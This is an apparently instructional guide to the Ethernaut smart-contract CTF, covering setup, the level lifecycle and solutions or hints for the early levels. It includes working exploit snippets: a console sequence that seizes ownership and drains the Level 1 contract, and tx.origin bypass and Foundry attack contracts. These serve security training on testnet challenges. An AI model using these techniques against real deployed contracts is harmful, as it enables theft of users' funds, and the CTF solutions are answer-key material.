🌿 Intermediate ⏱️ ongoing

Ethernaut — Your First CTF

Ethernaut is THE starting point for smart contract security practice. Created by OpenZeppelin and deployed on Sepolia testnet, it is a series of 30+ challenges where each level teaches one specific vulnerability class. Think of it as PortSwigger Labs for Web3 — meticulously designed, progressively harder, and built on real vulnerabilities found in production contracts.

What Is Ethernaut?

  • On-chain challenges: Each level is an actual smart contract deployed on Sepolia testnet
  • Real vulnerability patterns: Every level mirrors a real-world exploit that has cost millions
  • Progressive difficulty: Starts with reading state, escalates to complex DeFi exploits
  • Free to use: Only costs testnet ETH (free from faucets)
  • Created by OpenZeppelin: The gold standard of smart contract security tools

Setting Up Ethernaut

🛠️ Setup Steps (5 Minutes)
Step 1: Install MetaMask → Go to metamask.io → Install browser extension → Create new wallet (store seed phrase SECURELY) Step 2: Switch to Sepolia Testnet → MetaMask: Click network dropdown (top) → Enable "Show test networks" in settings → Select "Sepolia" Step 3: Get free Sepolia ETH → https://sepoliafaucet.com/ (Alchemy faucet — 0.5 ETH/day) → https://faucets.chain.link/sepolia (Chainlink — requires small balance) → https://www.infura.io/faucet/sepolia (Infura — requires account) Step 4: Open Ethernaut → https://ethernaut.openzeppelin.com/ → Connect MetaMask wallet (Sepolia network) Step 5: Open browser developer console → Chrome/Firefox: F12 → Console tab → This is your primary interface for early levels

How Ethernaut Works — The Level Lifecycle

🔄 Level Lifecycle Diagram
1. GET INSTANCE → Click "Get new instance" on the level page → MetaMask popup: approve the transaction (costs testnet ETH) → A NEW contract is deployed just for you → You get the contract address in the browser console 2. HACK IT → Read the contract source code on the level page → Identify the vulnerability → Interact via browser console or Foundry → Satisfy the "win condition" (e.g., become owner, drain balance) 3. SUBMIT INSTANCE → Click "Submit instance" → Another MetaMask transaction → Ethernaut checks if you met the win condition → If yes: Level cleared! 🎉 → If no: Try again (get a new instance if needed)

How to Interact: Browser Console vs Foundry

MethodBest ForWhen to Use
Browser ConsoleBeginner levels, exploring stateLevels 0-5 (simple calls)
Foundry (forge test)Complex exploits, automated testsLevels 6+ (multi-step exploits)
Hardhat scriptsJavaScript preferenceAny level
cast (CLI)Quick reads and sendsQuick state checks
🖥️ Browser Console Interaction Reference
// Ethernaut injects a 'contract' object in the browser console // Read the contract's ABI (available functions): contract.abi // Read a public variable: await contract.owner() // Read a mapping value: await contract.balances("0xYourAddress") // Call a function (state-changing, sends a transaction): await contract.contribute({value: toWei("0.001")}) // Get the contract's ETH balance: await getBalance(instance) // Get your connected wallet address: player // or: await web3.eth.getAccounts() // Ethernaut helper functions available in console: toWei("1") // Convert ETH to wei fromWei("1000000000000000000") // Convert wei to ETH sendTransaction({to: instance, value: toWei("0.001")}) // Raw ETH send

Level 0: Hello Ethernaut — Full Walkthrough

This first level teaches you the interface. There are no tricks — just reading and calling functions in the right sequence.

👋 Level 0 — Step-by-Step Solution
// Win condition: Call all the functions in the correct sequence // The contract guides you through its own solution // Step 1: Read the password method hint await contract.info() // Returns: "You will find what you need in info1()." await contract.info1() // Returns: "Try info2(), but with 'hello' as a parameter." await contract.info2("hello") // Returns: "The property infoNum holds the number of the info method you should call next." await contract.infoNum() // Returns: 42 await contract.info42() // Returns: "theMethodName is the name of the next method." await contract.theMethodName() // Returns: "The method name is method7123949." await contract.method7123949() // Returns: "If you know the password, submit it to authenticate()." await contract.password() // Returns: "ethernaut0" (this is the password) await contract.authenticate("ethernaut0") // MetaMask popup → Confirm → Transaction sent // Now click "Submit instance" on the level page // You've completed Level 0!

The First 5 Levels — Concepts and Hints

Level 1: Fallback

📖 Vulnerability: Unprotected receive() Function

This level has two ways to claim ownership: the intended path (contribute a lot of ETH) and the backdoor (exploit the receive() function). Read the ownership transfer logic in receive(). Notice: you can send ETH directly to the contract without calling any named function — what happens to ownership when you do that?

💡 Level 1 Hint — Fallback Mechanism
// Look at the receive() function in the contract: // If you've contributed ANY amount AND send ETH directly to the contract... // What happens to owner? // The two-step approach: // Step 1: contribute() something small (> 0) await contract.contribute({value: toWei("0.0001")}) // Step 2: Send ETH directly to trigger receive() await sendTransaction({to: instance, value: toWei("0.0001")}) // Step 3: Check if you're owner now await contract.owner() // Should be your address // Step 4: Withdraw (this drains the contract) await contract.withdraw()</code></div> </div>

Level 2: Fallout

📖 Vulnerability: Constructor Naming Bug (Historical)

In Solidity versions before 0.4.22, the constructor had to have the same name as the contract. If the contract was renamed but the "constructor" wasn't — it became a regular public function. Look very carefully at the contract name vs the function name that looks like a constructor. One letter different? That means it's callable by anyone, right now.

Level 3: Coin Flip

📖 Vulnerability: Pseudo-Randomness from Block Data

The contract generates a "coin flip" using blockhash(block.number - 1). The key insight: block data is deterministic and known BEFORE a transaction executes. You can read the same blockhash in your attacking contract and predict the outcome before calling the flip. The attack: deploy your own contract that reads the blockhash first, computes the correct guess, then calls the vulnerable contract — both happen in the same transaction.

Level 4: Telephone

📖 Vulnerability: tx.origin vs msg.sender

The contract checks if (tx.origin != msg.sender) to change the owner. This condition is true when a CONTRACT calls the function (because msg.sender = the contract, but tx.origin = you, the original EOA). Deploy an intermediary contract that calls the Telephone contract. When you call your intermediary: tx.origin = you, msg.sender = your intermediary → condition passes → owner changes to you.

💡 Level 4 Exploit Contract
// Deploy this contract, then call attack() contract TelephoneAttack { address telephoneAddr = 0xInstanceAddress; function attack() external { // When YOU call this function: // tx.origin = your EOA address // msg.sender (inside Telephone) = this contract address // tx.origin != msg.sender → condition passes! ITelephone(telephoneAddr).changeOwner(msg.sender); } }

Level 5: Token

📖 Vulnerability: Integer Underflow (Pre-0.8.0)

You start with 20 tokens. The contract checks require(balances[msg.sender] - _value >= 0). This is on a uint! Unsigned integers can never be negative — so 20 - 21 doesn't equal -1, it wraps around to 2^256 - 1 (maximum uint256). The require always passes because any uint is always >= 0. Transfer 21 tokens to anyone.

Using Foundry to Solve Ethernaut — Template

🛡️ Foundry Ethernaut Template
// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; import "forge-std/Test.sol"; // Interface for the target level contract interface ITelephone { function changeOwner(address) external; function owner() external view returns (address); } contract TelephoneExploit is Test { function setUp() public { // Fork Sepolia at the current block vm.createSelectFork(vm.envString("SEPOLIA_RPC_URL")); } function test_Exploit() public { // Your Ethernaut instance address (from the browser) address levelInstance = 0xYourInstanceAddress; address player = vm.envAddress("PLAYER_ADDRESS"); // Deploy the attack contract vm.prank(player); AttackContract attacker = new AttackContract(); // Execute attack vm.prank(player); attacker.attack(levelInstance); // Verify win condition assertEq(ITelephone(levelInstance).owner(), player, "Not owner yet"); console.log("Level cleared! Owner is now:", ITelephone(levelInstance).owner()); } } contract AttackContract { function attack(address target) external { ITelephone(target).changeOwner(msg.sender); } }

Top Vulnerability Categories in Ethernaut

Level(s)Vulnerability TypeReal-World Impact
1, 7, 10Access control failuresAdmin functions callable by anyone
2Constructor naming bug$150M Parity wallet frozen
3Insecure randomnessLottery/NFT exploits
4tx.origin authenticationPhishing attacks
5Integer overflow/underflowToken balance manipulation
6Reentrancy$60M DAO hack (2016)
8Vault/storage visibility"Private" variables are public
9King — DoS with revertsContract state permanently locked
12Privacy — storage layoutReading "private" contract state
14Gatekeeper — EVM internalsGas manipulation, type tricks
16Preservation — delegatecallProxy storage collision
24Puzzle Wallet — proxy bugTransparent proxy vulnerabilities

What to Do After Each Level

📖 Post-Level Learning Workflow
After solving each level: 1. Read the Ethernaut solution explanation (on the level page after submitting) 2. Search for writeups: "Ethernaut Level [N] walkthrough" → Multiple perspectives reveal different approaches 3. Find the real-world analogue: → Level 6 (Re-entrancy) → research The DAO hack 2016 → Level 4 (Telephone) → research phishing via tx.origin → Level 2 (Fallout) → research Parity multisig freeze 4. Write your own Foundry test for the level: → Even if you solved it in the browser, implement it in Foundry → This builds the muscle memory for real auditing 5. Add to your vulnerability pattern library: → Record: vulnerability name, how to identify it, how to exploit it → Notion, Obsidian, or a simple markdown file works great

After Ethernaut: What Comes Next

💡 Your Smart Contract Security Progression

After completing Ethernaut (or the first 15-20 levels), move to: Damn Vulnerable DeFi (DeFi-specific, harder), then QuillCTF (modern Solidity patterns), then Cyfrin Updraft's Security Course (structured auditing methodology), then real audit competitions on Code4rena or Sherlock. Ethernaut is the on-ramp — the destination is real bugs in real protocols.

Common Mistakes Section

⚠️ Mistake #1: Looking at Solutions Too Quickly

The learning happens in the struggle. Give each level at least 1-2 hours of genuine effort before looking for hints. The moment you understand a vulnerability through your own exploration, you will remember it forever. Solutions read passively produce almost zero retention.

⚠️ Mistake #2: Staying on Mainnet Network

Ethernaut runs on Sepolia testnet. If your MetaMask is on Mainnet when you click "Get new instance", you will pay real ETH for a mainnet transaction that does nothing useful. Always verify you are on Sepolia before starting a level.

⚠️ Mistake #3: Not Reading the Source Code Carefully

Most Ethernaut levels are solved by careful reading, not clever hacking. Read every line of the contract source. Read every require() condition. Ask: "what combination of calls would make this require() pass in an unexpected way?" or "who can call this function?" Many bugs are one line of obvious code away.

Summary / Key Takeaways

ConceptKey FactTake Away
Ethernaut30+ real vulnerability challenges on SepoliaBest starting point for security practice
Level lifecycleGet instance → hack → submitEach instance is YOUR personal copy
Browser consoleWeb3 API injected by EthernautGood for simple calls, use Foundry for complex
Foundry for EthernautFork Sepolia, test the exploitBest practice — treat exploits as tests
After solvingRead writeups, find real exploitPattern library building is the goal
Difficulty curve0-5: easy, 6-15: medium, 15+: hardDon't skip — each builds on the last